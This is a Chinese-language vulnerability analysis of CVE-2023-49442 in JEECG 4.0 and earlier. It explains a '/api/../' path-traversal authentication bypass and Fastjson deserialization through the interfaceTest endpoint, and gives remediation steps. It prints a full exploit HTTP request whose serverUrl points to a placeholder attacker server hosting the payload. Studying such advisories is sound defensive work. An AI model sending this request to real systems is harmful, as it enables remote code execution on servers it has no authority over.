JEECG代码执行漏洞-CVE-2023-49442
字数 1127 2025-08-18 17:33:44
JEECG代码执行漏洞分析 (CVE-2023-49442)
漏洞描述
JEECG 4.0及之前版本中存在一个严重的远程代码执行漏洞,该漏洞源于接口鉴权时未正确过滤路径遍历字符。攻击者可以构造特殊URL绕过系统鉴权机制,通过jeecgFormDemoController.do?interfaceTest接口实现远程代码执行。
影响版本
- JEECG <= 4.0
漏洞分析
漏洞定位
漏洞位于jeecgFormDemoController.do?interfaceTest接口处,该接口接收三个参数:
serverUrl- 目标服务器URLrequestBody- 请求体内容requestMethod- 请求方法(GET/POST)
漏洞原理
- 接口根据
requestMethod参数值调用HttpRequest.sendPost或HttpRequest.sendGet方法 - 方法会向
serverUrl指定的地址发送HTTP请求 - 获取响应结果后,使用
JSONObject.parseObject(result)进行解析 - 系统使用的Fastjson版本为1.2.31(存在已知漏洞)
- 当
serverUrl返回的内容包含Fastjson反序列化payload时,可触发代码执行
鉴权绕过机制
直接访问该路由会触发302跳转(被拦截器限制),但发现以下绕过方式:
- 系统对以
/api/开头的接口不做限制 alwaysUseFullPath设置为false,在处理过程中会对URI进行标准化- 可利用
/api/../形式的路径遍历绕过鉴权
漏洞利用
利用步骤
- 准备远程文件(包含Fastjson代码执行payload)
- 发送精心构造的HTTP请求:
POST /api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: [目标主机]
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
serverUrl=http://[攻击者服务器]/jeecg.txt&requestBody=1&requestMethod=GET
- 当服务器获取并解析恶意payload时,攻击者命令将被执行
关键参数说明
serverUrl: 指向包含Fastjson payload的远程文件requestMethod: 指定请求方法(GET/POST)requestBody: 随请求发送的数据
修复建议
- 升级JEECG到最新版本(4.0以上)
- 若无法立即升级,可采取以下临时措施:
- 严格校验接口路径,防止路径遍历
- 升级Fastjson到安全版本
- 对
jeecgFormDemoController.do?interfaceTest接口添加严格鉴权 - 限制外部URL访问能力
参考链接
总结
该漏洞结合了路径遍历鉴权绕过和Fastjson反序列化漏洞,攻击者可利用此漏洞在目标系统上执行任意代码,危害性极高。建议所有使用JEECG框架的用户立即检查版本并采取相应防护措施。